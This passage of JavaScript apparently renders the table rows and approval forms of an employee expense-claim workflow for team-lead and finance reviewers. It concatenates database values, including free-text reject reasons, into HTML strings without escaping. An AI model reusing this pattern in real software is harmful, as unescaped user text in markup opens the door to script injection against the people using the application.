		switch (currentLoopCondition) {
			case false:
			    if (rowValues.claimstatus == CLAIM_PENDING) {
    				if (rowValues.TLDeputation == 'Yes') {
    					DA_value_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes' selected>YES</option><option value='No'>NO</option></select></td>";//class=' editableFieldsInClaimDetails'
    				} else {
    					DA_value_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes'>YES</option><option value='No' selected>NO</option></select></td>";
    				}
			    }else {
					    DA_value_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableDeputation_" + Td_class + "' >" + rowValues.TLDeputation + "</td>";
				}
				var TLEditableFields = DA_value_selectTag +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableDaAmount_" + Td_class + "' data-initialValue='"+ rowValues.TLDAAmount +"'>" + rowValues.TLDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalOtherBillAmount_" + Td_class + "' class='TLOtherAmountValue_class'>" + rowValues.TLOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalHotelBillAmount_" + Td_class + "' class='TLHotelAmountValue_class'>" + rowValues.TLHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalFinalAmount_" + Td_class + "' class='TLTotalAmountValue_class border-right'>" + rowValues.TLTotalAmount + "</td>";
				map.set("tlDeductedAmount" + Td_class, rowValues.tlDeductedAmount); //get value from Database
				map.set("financeDeductedAmount" + Td_class, rowValues.financeDeductedAmount); //get value from Database
				map.set("beforeDeductingTotalAmount" + Td_class, rowValues.TLTotalAmount); //initial deducted amount will =0;
				return TLEditableFields;
		}

	}


	createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var claimStatusUpdatedBy;

		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == Number(CLAIM_TL_REJECTED) || rowValues.claimstatus == Number(CLAIM_FINANCE_REJECTED)) {
					claimStatusUpdatedBy = '';
				} else {
					claimStatusUpdatedBy = rowValues.claimStatusUpdatedBy;
				}

				var FinanceNonEditableFields =
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDeputation_" + Td_class + "' >" + rowValues.financeDeputation + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDaAmount_" + Td_class + "'>" + rowValues.financeDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeOther_" + Td_class + "' >" + rowValues.financeOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeHotel_" + Td_class + "' >" + rowValues.financeHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeTotal_" + Td_class + "' >" + rowValues.financeTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDeductedAmount_" + Td_class + "' >" + rowValues.financeDeductedAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDeductedReason_" + Td_class + "' >" + rowValues.financeDeductedReason + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='claimStatusUpdatedBy_" + Td_class + "' >" + claimStatusUpdatedBy + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeClaimUpdateDate_" + Td_class + "' class=' border-right'>" + rowValues.financeApprovedDate + "</td>";


				return FinanceNonEditableFields;
		}
	}


	createNewTableDataFields_FinanceEditableFields(rowValues, forLoopIndex, map) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		var DA_value_selectTag;
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_TL_APPROVED) {

					if (rowValues.financeDeputation == 'Yes') {
						DA_value_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes' selected>YES</option><option value='No'>NO</option></select></td>";
					} else {
						DA_value_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes'>YES</option><option value='No' selected>NO</option></select></td>";
					}
				} else {
					DA_value_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableDeputation_" + Td_class + "' >" + rowValues.financeDeputation + "</td>";
				}
				var FinanceEditableFields = DA_value_selectTag +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableDaAmount_" + Td_class + "' data-initialValue='"+ rowValues.financeDAAmount +"'>" + rowValues.financeDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalOtherBillAmount_" + Td_class + "' class='financeOtherAmountValue_class'>" + rowValues.financeOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalHotelBillAmount_" + Td_class + "' class='financeHotelAmountValue_class'>" + rowValues.financeHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalFinalAmount_" + Td_class + "' class='financeTotalAmountValue_class border-right'>" + rowValues.financeTotalAmount + "</td>";
				// console.log("#editableDeputation" +Td_class+" select.DA");
				map.set("tlDeductedAmount" + Td_class, rowValues.tlDeductedAmount); //get value from Database
				map.set("financeDeductedAmount" + Td_class, rowValues.financeDeductedAmount); //get value from Database
				map.set("beforeDeductingTotalAmount" + Td_class, rowValues.financeTotalAmount); //initial deducted amount will =0;

				return FinanceEditableFields;
		}
	}



	/*  createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) {
		  return "<td class='Buttonclosed' id=_" +Td_class + " rowspan='1'><i class='fa fa-arrow-down' aria-hidden='true'></i></td>";
	  }*/
	createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "' data-btnStatus='Buttonclosed' data-tlId='"+rowValues.tlId+"'";

		switch (currentLoopCondition) {
			case false:
				var noOfImageProofPresent = Number(rowValues.engOtherBill) + Number(rowValues.engHotelBill);
				if (noOfImageProofPresent > 0) {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'  style='background: var(--theme-light-color);position: relative;'><button id='billImagesBtn_" + Td_class + "' class='billImageProofDropdownBtn border-0 bg-transparent position-absolute w-100 h-100' " + customAttributes + " style='outline:0 !important;right: 0;top: 0;'><i class='fa fa-arrow-down' aria-hidden='true'></i></button></td>";
				} else {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='noImages' >0</td>";
				}

		}

	}

	createNewTableDataFields_TotalDeductedAmountUI(rowValues) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		switch (currentLoopCondition) {
			case false:
				return "<td  rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'  id='totalDeductedAmount_" + Td_class + "'>" + rowValues.totalDeductedAmount + "</td>";
		}
	}

	createNewTableDataFields_TL_ReasonButton_AND_transferClaim_UI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_PENDING && rowValues.tlId==USER_EMPID) { // if claimstatus=1 and tlId=loggedInuserId
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>"+
					       "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' ><button id='transfClaimBtn_" + Td_class + "'  class='btn transferClaimBtn' " + customAttributes + "  data-toggle='modal' data-target='#transferClaimModal'><i class='fas fa-share-square'></i></button></td>";
				} else {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td> "+
					       "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td>";
				}

		}

	}
	createReasonButtonUI(rowValues, forLoopIndex){
	    var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch(currentLoopCondition){
		    case false:
		        return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>";
		    
		}
	}
	
	createRejectTabReasonButtonUI(rowValues, forLoopIndex){
	    var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch(currentLoopCondition){
		    case false:
		        if(rowValues.claimstatus == CLAIM_PERMANENT_TL_REJECT || rowValues.claimstatus == CLAIM_PERMANENT_FINANCE_REJECT){
		            return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td> ";
		        }else{      
		            return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>";
		       
		        }
		}
	}
	
	createNewTableDataFields_Finance_ReasonButtonUI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_TL_APPROVED) {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>";
				} else {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td> "
				}
		}

	}


	createNewTableDataFields_RejectReasonAndDateAndRejectedByUI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		switch (currentLoopCondition) {
			case false:
				var RejectReasonAndDate = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonContent_" + Td_class + "' class='pl-2'>" + rowValues.rejectReason + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='tlOrFinanceRejectedDate_" + Td_class + "' class='pl-2'>" + rowValues.tlOrFinanceRejectedDate + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='claimStatusUpdatedBy_" + Td_class + "'>" + rowValues.claimStatusUpdatedBy + "</td>";

				return RejectReasonAndDate;
		}
	}

	createNewTableDataFields_FinanceDepartmentTLApprovedClaimsReport(rowValues, forLoopIndex) {
		var reportTd;
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_TL_APPROVED) {
					reportTd = this.TLApprove_ClaimsReportTableData(rowValues, forLoopIndex);
				} else {
					reportTd = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' >--</td>";
				}
				return reportTd;
		}
	}
	createNewTableDataFieds_NewClaimsReportUi(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "' data-claimStatus='"+rowValues.claimstatus+"'";
// 		let claimExpiringDetails_Arry=this.claimExpiringDetails(rowValues.date);
		var reportTd;
// 		let expireUi=()=>{
// 		    if(claimExpiringDetails_Arry["noOfDaysLeft"]){
// 		        return `(Claim will expires in ${claimExpiringDetails_Arry["noOfDaysLeft"]} days.)`;
// 		    }else{ // if=0
// 		        return `(Claim will expires Today.)`;
// 		    }
// 		}
		let reportSubmitFormUi=()=>{
		    let formUi="<form id='reportSubmittingForm" + Td_class + "' class='reportSubmittingForm mb-0' " + customAttributes + " style='width: 395px;'>" +
        						"<div class='approveBtnDiv form-check form-check-inline align-middle'>" +
            						"<input class='form-check-input approve selectAllApprove_radioBtn' type='radio' name='inlineRadioOptions'  id='approveRadioBtn_" + Td_class + "' required value='2' " + customAttributes + ">" +
            						"<label class='form-check-label' for='approveRadioBtn_" + Td_class + "' >APPROVE</label></div>" +
        						"<div class='rejectBtnDiv form-check form-check-inline align-middle'>" +
            						"<input class='form-check-input reject' type='radio'  name='inlineRadioOptions'  id='rejectRadioBtn_" + Td_class + "' value='3' " + customAttributes + ">" +
            						"<label class='form-check-label' for='rejectRadioBtn_" + Td_class + "' >REJECT</label></div>" +
                				"<div class='permanentRejectBtnDiv form-check form-check-inline align-middle'>" +
        					        "<input class='form-check-input permanentReject' type='radio'  name='inlineRadioOptions'  id='permanentRejectRadioBtn_" + Td_class + "' value='"+CLAIM_PERMANENT_TL_REJECT+"'  " + customAttributes + ">" +
        					        "<label class='form-check-label' for='permanentRejectRadioBtn_" + Td_class + "' data-toggle='tooltip' title='PERMANENT REJECT WILL NOT GET CLAIMED AGAIN BY EMPLOYEE'>PERMANENT REJECT</label></div>" +
        						"<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'>Submit<i class='fa d-none fa-spinner fa-spin ml-2'></i></button>" +
        						"<p id='reasonPara_" + Td_class + "' class='reasonParaTag text-center font-weight-normal  m-auto' name='rejectResonNm'></p>" +
    					"</form>";
    					
    // 		 let expiredUi=`<div style="width:max-content"><p class="text-danger font-weight-bold text-center">Claim Expired</p>
    // 			            <span>(Claim expired ${-claimExpiringDetails_Arry["noOfDaysLeft"]} days ago.)</span></div>`;// minus(-) of minus(-) = pluse
    			
    			
    		return formUi;
		};
		
		
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_PENDING) {
				    if(rowValues.tlId==USER_EMPID){// logged in user(tl) id "USER_EMPID" in index.php
    					reportTd = "<td  rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>" +
    					                 reportSubmitFormUi()   
    						        +"</td>";
				    }else{
				        reportTd = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>This claim transfered or submitted to "+rowValues.tlName+"("+rowValues.tlId+")</td>";
				    }
				      PENDING_AT_TL_CLAIMS_COUNT++;
				} else {
					reportTd = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td>";
				}
				return reportTd;
		}
	}

	createNewTableDataFields_PendingPaymentsClaimsReport(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
		switch (currentLoopCondition) {
			case false:
				var PendingPaymentClaimsReport = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>" +
					"<form id='reportSubmittingForm" + Td_class + "' class='reportSubmittingForm mb-0 m-auto' " + customAttributes + "  style='width: 290px;'>" +
    					"<div class='paidBtnDiv form-check form-check-inline align-middle'>" +
        					"<input class='form-check-input paid selectAllApprove_radioBtn' type='radio'  name='inlineRadioOptions' id='paidRadioBtn_" + Td_class + "' required value='6'  " + customAttributes + ">" +
        					"<label class='form-check-label' for='paidRadioBtn_" + Td_class + "'>PAID</label></div>" +
    					"<div class='undoBtnDiv form-check form-check-inline align-middle'>" +
        					"<input class='form-check-input undo' type='radio'  name='inlineRadioOptions' id='undoRadioBtn_" + Td_class + "' required value='0'  " + customAttributes + ">" +
        					"<label class='form-check-label' for='undoRadioBtn_" + Td_class + "'>UNDO</label></div>" +
    					"<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'>Submit<i class='fa d-none fa-spinner fa-spin ml-2'></i></button>" +
    					"<p id='reasonPara_" + Td_class + "' class='reasonParaTag text-center font-weight-normal mt-1  m-auto' name='rejectResonNm' style='max-width: 290px;'></p>" +
					"</form>" +
					"</td>";
				return PendingPaymentClaimsReport;
		}
	}
	TLUndo_ClaimsReportTableData(rowValues, forLoopIndex){
	   	let Td_class = rowValues.empId + "_" + rowValues.date;
		let customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
		switch (currentLoopCondition) {
	        case false:
	            var TLUndoClaimsReport ="<td rowspan='"+ rowValues.siteOnOfTheDayVisitCount+"'>"+
	                "<form id='reportSubmittingForm"+ Td_class+"' class='reportSubmittingForm mb-0 m-auto' "+ customAttributes +" style='width: 395px'>"+
	                  	"<div class='undoBtnDiv form-check form-check-inline align-middle'>" +
        					"<input class='form-check-input undo selectAllApprove_radioBtn' type='radio'  name='inlineRadioOptions' id='undoRadioBtn_" + Td_class + "' required value='0'  " + customAttributes + ">" +
        					"<label class='form-check-label' for='undoRadioBtn_" + Td_class + "' >UNDO</label></div>" +
        				"<div class='rejectBtnDiv form-check form-check-inline align-middle'>" +
					        "<input class='form-check-input reject' type='radio'  name='inlineRadioOptions'  id='financeRejectRadioBtn_" + Td_class + "' value='3'  " + customAttributes + ">" +
					        "<label class='form-check-label' for='financeRejectRadioBtn_" + Td_class + "' >REJECT</label></div>" +
                // 		"<div class='permanentRejectBtnDiv form-check form-check-inline align-middle'>" +
        				    // "<input class='form-check-input permanentReject' type='radio'  name='inlineRadioOptions'  id='permanentRejectRadioBtn_" + Td_class + "' value='"+CLAIM_PERMANENT_TL_REJECT+"'  " + customAttributes + ">" +
        				    // "<label class='form-check-label' for='permanentRejectRadioBtn_" + Td_class + "' data-toggle='tooltip' title='PERMANENT REJECT WILL NOT GET CLAIMED AGAIN BY EMPLOYEE'>PERMANENT REJECT</label></div>" +
	               	    "<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'>Submit<i class='fa d-none fa-spinner fa-spin ml-2'></i></button>" +
    					"<p id='reasonPara_" + Td_class + "' class='reasonParaTag text-center font-weight-normal  m-auto' name='rejectResonNm'></p>" +
					"</form>" +
	            "</td>";
	            return TLUndoClaimsReport;
	        
	    }
	}
	RejectTab_ClaimReportTableData(rowValues, forLoopIndex, permanentReject){
	   	let Td_class = rowValues.empId + "_" + rowValues.date;
		let customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
		switch (currentLoopCondition) {
	        case false:
	          if(rowValues.claimstatus == CLAIM_PERMANENT_TL_REJECT || rowValues.claimstatus == CLAIM_PERMANENT_FINANCE_REJECT){
    	            var TLUndoRejectClaimsReport ="<td rowspan='"+ rowValues.siteOnOfTheDayVisitCount+"'>"+
    	                "<form id='reportSubmittingForm"+ Td_class+"' class='reportSubmittingForm mb-0 m-auto' "+ customAttributes +" style='width: 255px'>"+
    	                  	"<div class='undoBtnDiv form-check form-check-inline align-middle'>" +
            					"<input class='form-check-input undo selectAllApprove_radioBtn' type='radio'  name='inlineRadioOptions' id='undoRadioBtn_" + Td_class + "' required value='0'  " + customAttributes + ">" +
            					"<label class='form-check-label' for='undoRadioBtn_" + Td_class + "'  >UNDO</label></div>" +
    	               	    "<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'>Submit<i class='fa d-none fa-spinner fa-spin ml-2'></i></button>" +
        					"<p id='reasonPara_" + Td_class + "' class='reasonParaTag text-center font-weight-normal  m-auto' name='rejectResonNm'></p>" +
    					"</form>" +
    	            "</td>";
	            }else{// CLAIM_TL_REJECTED(Normal reject)  or CLAIM_FINANCE_REJECTED(Normal reject)
    	            var TLUndoRejectClaimsReport ="<td rowspan='"+ rowValues.siteOnOfTheDayVisitCount+"'>"+
    	                "<form id='reportSubmittingForm"+ Td_class+"' class='reportSubmittingForm mb-0 m-auto' "+ customAttributes +" style='width: 310px'>"+
    	                  	"<div class='undoBtnDiv form-check form-check-inline align-middle'>" +
            					"<input class='form-check-input undo selectAllApprove_radioBtn' type='radio'  name='inlineRadioOptions' id='undoRadioBtn_" + Td_class + "' required value='0'  " + customAttributes + ">" +
            					"<label class='form-check-label' for='undoRadioBtn_" + Td_class + "'  >UNDO</label></div>" +
            				"<div class='permanentRejectBtnDiv form-check form-check-inline align-middle'>" +
    					        "<input class='form-check-input permanentReject' type='radio'  name='inlineRadioOptions'  id='permanentRejectRadioBtn_" + Td_class + "' value='"+permanentReject+"'  " + customAttributes + ">" +
    					        "<label class='form-check-label' for='permanentRejectRadioBtn_" + Td_class + "'  data-toggle='tooltip' title='PERMANENT REJECT WILL NOT GET CLAIMED AGAIN BY EMPLOYEE'>PERMANENT REJECT</label></div>" +
    	               	    "<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'>Submit<i class='fa d-none fa-spinner fa-spin ml-2'></i></button>" +
        					"<p id='reasonPara_" + Td_class + "' class='reasonParaTag text-center font-weight-normal  m-auto' name='rejectResonNm'></p>" +
    					"</form>" +
    	            "</td>";
	            }
	            return TLUndoRejectClaimsReport;
	        
	    }
	}
	
	TLApprove_ClaimsReportTableData(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
		switch (currentLoopCondition) {
			case false:
				var TLApprovedClaimsReport = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>" +
					"<form id='reportSubmittingForm" + Td_class + "' class='reportSubmittingForm mb-0 m-auto' " + customAttributes + "  style='width: 395px;'>" +
    					"<div class='financeApprovedBtnDiv form-check form-check-inline align-middle'>" +
        					"<input class='form-check-input financeApproved selectAllApprove_radioBtn' type='radio'  name='inlineRadioOptions' id='financeApproveRadio_" + Td_class + "' required value='4'  " + customAttributes + ">" +
        					"<label class='form-check-label' for='financeApproveRadio_" + Td_class + "'  >APPROVE</label></div>" +
    					"<div class='rejectBtnDiv form-check form-check-inline align-middle'>" +
        					"<input class='form-check-input reject' type='radio'  name='inlineRadioOptions'  id='financeRejectRadioBtn_" + Td_class + "' value='5'  " + customAttributes + ">" +
        					"<label class='form-check-label' for='financeRejectRadioBtn_" + Td_class + "'  >REJECT</label></div>" +
                    	"<div class='permanentRejectBtnDiv form-check form-check-inline align-middle'>" +
            			    "<input class='form-check-input permanentReject' type='radio'  name='inlineRadioOptions'  id='permanentRejectRadioBtn_" + Td_class + "' value='"+CLAIM_PERMANENT_FINANCE_REJECT+"'  " + customAttributes + ">" +
            			    "<label class='form-check-label' for='permanentRejectRadioBtn_" + Td_class + "' data-toggle='tooltip' title='PERMANENT REJECT WILL NOT GET CLAIMED AGAIN BY EMPLOYEE'>PERMANENT REJECT</label></div>" +
    					"<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'>Submit<i class='fa d-none fa-spinner fa-spin ml-2'></i></button>" +
    					"<p id='reasonPara_" + Td_class + "' class='reasonParaTag text-center font-weight-normal m-auto' name='rejectResonNm'></p>" +
					"</form>" +
					"</td>";

				return TLApprovedClaimsReport;
		}
	}

	createNewTabDateFields_CompletePaymentRelatedUi(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		switch (currentLoopCondition) {
			case false:
				return "<td  rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='paidTotal_" + Td_class + "'>" + rowValues.financeTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='paidDate_" + Td_class + "'>" + rowValues.paidDate + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='paidByTd_" + Td_class + "'>" + rowValues.paidBy + "</td>";
		}
	}


	createNewTableDataFields_ImageBillsTableRow(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		return "<tr class='image-content_" + Td_class + "'>" + //empty row for every table-row to store bill-image-proofs
			"<td class='imageBillsDropDownTableRow' colspan='53' style='padding:0; border:0'>" +
			"<div id='imageBillsContainerDiv_" + Td_class + "' class='d-flex float-right' style='width:100vw;'>" +//style='width:100vw;display: -webkit-box;display: ruby;'
			"</div>" +
			"</td>" +
			"</tr>";
	}



	getSelectDropDownList(keyValue, selectedValue, className, Td_id, customAttributes) {

		//console.log("keyValue" + keyValue + "className" + className);
		let dropDownListArray = getStageOfAuditdropDown(); //   js/dynamicDropdown_of_project_&_stageOfAudit.js file -> class object;
        console.log("dropDownListArray",dropDownListArray);
		let select_starting_tag = "<select id='" + Td_id + "' class='form-control select " + className + "' " + customAttributes + ">";
		let select_ending_tag = "</select>";
		let optionTag = "";
		let conditionReference = false;
		if (keyValue == projectList_KeyValue_In_Json) {// comparing global variable // if it is project
			conditionReference = dropDownListArray.hasOwnProperty(selectedValue);// checking key value in array
		} else {    // if it is stage OF audit
			conditionReference = dropDownListArray.hasOwnProperty(keyValue);// checking key value in array
		}

		if (conditionReference) {
			let projectsList = dropDownListArray[keyValue];



			for (let index = 0; index < projectsList.length; index++) {
				if (projectsList[index] == selectedValue) {
					optionTag += "<option value='" + projectsList[index] + "' selected>" + projectsList[index] + "</option>";
				} else {
					optionTag += "<option value='" + projectsList[index] + "'>" + projectsList[index] + "</option>";
				}
			}
			//console.log("reference_id" + reference_id + "------------" + select_starting_tag + optionTag + select_ending_tag);
			return select_starting_tag + optionTag + select_ending_tag;
		} else {
			return "<select class='d-none "+className+"'><option value='' selected ></option></select>";
		}

	}
// 	displayNoneClass(stageOfaudit) {
// 		var className = ' d-none ';
// 		//alert(stageOfaudit);
// 		if (stageOfaudit === "REVISIT") {
// 			className = '';
// 		}
// 		return className;
// 	}

    // TL Deparmnt Tab related Table UI
	Tab_NewClaimsRelatedUI(rowValues, forLoopIndex, map) {
		var newClaimTabRelatedUI = this.createNewTableRowStart(rowValues) + this.TL_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) +
			this.createNewTableDataFields_TLEditableFields(rowValues, forLoopIndex, map) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) +
			this.createNewTableDataFields_TL_ReasonButton_AND_transferClaim_UI(rowValues, forLoopIndex) + this.createNewTableDataFieds_NewClaimsReportUi(rowValues, forLoopIndex) +
			this.createNewTableRowClose(rowValues, forLoopIndex);
        return newClaimTabRelatedUI;
	}
	
	Tab_TLDepartmentApprovedRelatedUI(rowValues, forLoopIndex) {
		var ApprovedTabRelatedUI = this.createNewTableRowStart(rowValues) + this.TL_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues) +
			this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createReasonButtonUI(rowValues, forLoopIndex) + this.TLUndo_ClaimsReportTableData(rowValues, forLoopIndex)+ this.createNewTableRowClose(rowValues, forLoopIndex);
        return ApprovedTabRelatedUI;
	}
	
	Tab_TLDepartmentRejectTabRelatedUI(rowValues, forLoopIndex) {
		var rejectTabRelatedUI = this.createNewTableRowStart(rowValues) + this.TL_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues) +
			this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_RejectReasonAndDateAndRejectedByUI(rowValues, forLoopIndex) +
			this.createRejectTabReasonButtonUI(rowValues, forLoopIndex) + this.RejectTab_ClaimReportTableData(rowValues, forLoopIndex, CLAIM_PERMANENT_TL_REJECT)+this.createNewTableRowClose(rowValues, forLoopIndex);
    	return rejectTabRelatedUI;
	}
	
	Tab_TLDepartmentFinanceApprovedRelatedUI(rowValues, forLoopIndex) {
        var completedPaymentRelatedUI = this.createNewTableRowStart(rowValues) + this.TL_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues) +
    			this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TotalDeductedAmountUI(rowValues) +
    			this.createNewTabDateFields_CompletePaymentRelatedUi(rowValues, forLoopIndex) + this.createNewTableRowClose(rowValues, forLoopIndex);
        return completedPaymentRelatedUI;
	}
    //---------------------------------------------------
    
    // Finance Deparmnt  Tab related Table UI
	Tab_FinanceDepartmentTLApprovedRelatedUI(rowValues, forLoopIndex, map) { // All claims
		var financeApprovedTabRelatedUI = this.createNewTableRowStart(rowValues) + this.finance_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) +
			this.createNewTableDataFields_TLNonEditableFields(rowValues) + this.createNewTableDataFields_FinanceEditableFields(rowValues, forLoopIndex, map) +
